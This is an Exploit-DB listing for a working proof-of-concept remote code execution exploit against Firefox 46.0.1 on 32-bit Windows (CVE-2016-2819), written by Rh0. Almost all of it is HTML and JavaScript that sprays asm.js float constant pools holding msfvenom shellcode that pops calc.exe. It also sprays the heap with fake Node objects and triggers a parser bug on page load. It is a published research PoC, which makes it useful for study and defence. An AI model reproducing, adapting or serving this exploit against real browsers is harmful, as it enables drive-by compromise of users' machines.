Firefox 46.0.1 - ASM.JS JIT-Spray Remote Code Execution

EDB-ID:

44293


Author:

Rh0

Type:

remote


Platform:

Windows

Date:

2018-03-16


<!DOCTYPE HTML>

<!--

    FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
    *PoC* Exploit against Firefox 46.0.1 (CVE-2016-2819)
    ASM.JS float constant pool JIT-Spray special shown at OffensiveCon 2018

    Tested on:
    Firefox 46.0.1 32-bit - Windows 10 1709
    https://ftp.mozilla.org/pub/firefox/releases/46.0.1/win32/en-US/Firefox%20Setup%2046.0.1.exe

    Howto:
    1) serve PoC over network and open it in Firefox 46.0.1 32-bit
    2) A successfull exploit attempt should pop calc.exe

    Mozilla Bug Report:
    https://bugzilla.mozilla.org/show_bug.cgi?id=1270381


    Writeup: 
    https://rh0dev.github.io/blog/2018/more-on-asm-dot-js-payloads-and-exploitation/


    - For research purposes only -
    
    (C) Rh0

    Mar. 13, 2018

-->

<title>CVE-2016-2819 and ASM.JS JIT-Spray</title>
<head>
<meta charset=UTF-8 />
<script>
"use strict"

var Exploit = function(){
    this.asmjs = new Asmjs()
    this.heap = new Heap()
}

Exploit.prototype.go = function(){
    /* target address of fake node object */
    var node_target_addr = 0x5a500000 

    /* target address of asm.js float pool payload*/
    var target_eip = 0x20200b58

    /* spray asm.js float constant pools */
    this.asmjs.spray_float_payload(0x1000)

    /* spray fake Node objects */
    this.heap.spray(node_target_addr, target_eip)

    /* go! */
    this.trigger_vuln(node_target_addr)
};


Exploit.prototype.trigger_vuln = function(node_ptr){
    document.body.innerHTML = '<table><svg><div id="BBBB">'
    this.heap.gc()
    var a = new Array() 
    for (var i=0; i < 0x10100; i++){
        /* array element (Node object ptr) control with integer underflow */
        a[i] = new Uint32Array(0x100/4)
        for (var j=0; j<0x100/4; j++)
            a[i][j] = node_ptr 
    }

    /* original crashing testcase
    document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}</style>'
    */

    /* easier to exploit codepath */
    document.getElementById('BBBB').outerHTML = '<tr><title><ruby><template><table><template><td><col><em><table></tr><th></tr></td></table>hr {}<DD>'

    window.location.reload()
};


var Asmjs = function(){};

Asmjs.prototype.asm_js_module = function(stdlib, ffi){
    "use asm"
    var foo = ffi.foo
    function payload(){
        var val = 0.0
        /* Fx 46.0.1 float constant pool of size 0xc0 is at 0xXXXX0b58*/
        val = +foo(
            // $ msfvenom --payload windows/exec CMD=calc.exe # transformed with sc2asmjs.py
            -1.587865768352248e-263,
            -8.692422460804815e-255,
            7.529882109376901e-114,
            2.0120602207293977e-16,
            3.7204662687249914e-242,
            4.351158092040946e+89,
            2.284741716118451e+270,
            7.620699014501263e-153,
            5.996021286047645e+44,
            -5.981935902612295e-92,
            6.23540918304361e+259,
            1.9227873281657598e+256,
            2.0672493951546363e+187,
            -6.971032919585734e+91,
            5.651413300798281e-134,
            -1.9040061366251406e+305,
            -1.2687640718807038e-241,
            9.697849844423e-310,
            -2.0571400761625145e+306,
            -1.1777948610587587e-123,
            2.708909852013898e+289,
            3.591750823735296e+37,
            -1.7960516725035723e+106,
            6.326776523166028e+180
        )
        return +val;
    }
    return payload
};

Asmjs.prototype.spray_float_payload = function(regions){
    this.modules = new Array(regions).fill(null).map(
        region => this.asm_js_module(window, {foo: () => 0})
    )
};

var Heap = function(target_addr, eip){
    this.node_heap = []
};


Heap.prototype.spray = function(node_target_addr, target_eip){
    var junk = 0x13371337
    var current_address = 0x20000000
    var block_size = 0x1000000
    while(current_address < node_target_addr){
        var fake_objects = new Uint32Array(block_size/4 - 0x100)
        for (var offset = 0; offset < block_size; offset += 0x100000){
            /* target Node object needed to control EIP  */
            fake_objects[offset/4 + 0x00/4] = 0x29 
            fake_objects[offset/4 + 0x0c/4] = 3
            fake_objects[offset/4 + 0x14/4] = node_target_addr + 0x18
            fake_objects[offset/4 + 0x18/4] = 1
            fake_objects[offset/4 + 0x1c/4] = junk
            fake_objects[offset/4 + 0x20/4] = node_target_addr + 0x24
            fake_objects[offset/4 + 0x24/4] = node_target_addr + 0x28
            fake_objects[offset/4 + 0x28/4] = node_target_addr + 0x2c
            fake_objects[offset/4 + 0x2c/4] = target_eip 
        }
        this.node_heap.push(fake_objects)
        current_address += block_size
    }
};

Heap.prototype.gc = function(){
    for (var i=0; i<=10; i++)
        var x = new ArrayBuffer(0x1000000)
};

</script>
<head>
<body onload='exploit = new Exploit(); exploit.go()' />